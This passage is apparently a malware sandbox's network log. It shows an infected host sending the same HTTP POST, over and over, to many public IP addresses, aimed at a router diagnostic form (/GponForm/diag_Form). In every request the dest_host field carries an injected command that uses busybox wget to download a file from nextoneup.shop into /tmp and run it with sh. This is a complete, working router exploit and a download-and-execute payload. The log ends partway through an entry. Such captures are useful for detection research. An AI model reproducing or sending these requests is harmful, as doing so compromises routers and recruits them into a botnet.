124	192.168.2.13	48556	2.179.60.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708926916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	48472	212.118.50.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.708978891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	60654	210.57.20.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709001064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	34480	123.120.78.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709043980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	57510	123.165.39.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709073067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	56050	117.222.8.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709114075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	57500	123.241.52.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709120035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	55008	109.109.165.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709146023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	39474	178.35.163.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709187984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	44474	123.240.126.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709234953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	39658	5.63.180.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709239960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	38934	5.75.190.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709285021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	46264	42.65.12.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709320068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	36104	210.3.249.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709341049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	57566	117.70.94.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709404945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	35524	79.134.242.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709417105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	39322	37.179.75.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709458113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	42366	79.184.240.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709475040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	37004	178.63.253.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709513903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	33620	2.4.12.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709554911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	59554	178.174.22.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709583044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	42282	202.247.191.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709609032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	51864	117.213.66.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709645033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	47390	123.169.181.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709671974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	60568	212.170.63.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709697008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	56438	2.86.254.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.709717989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 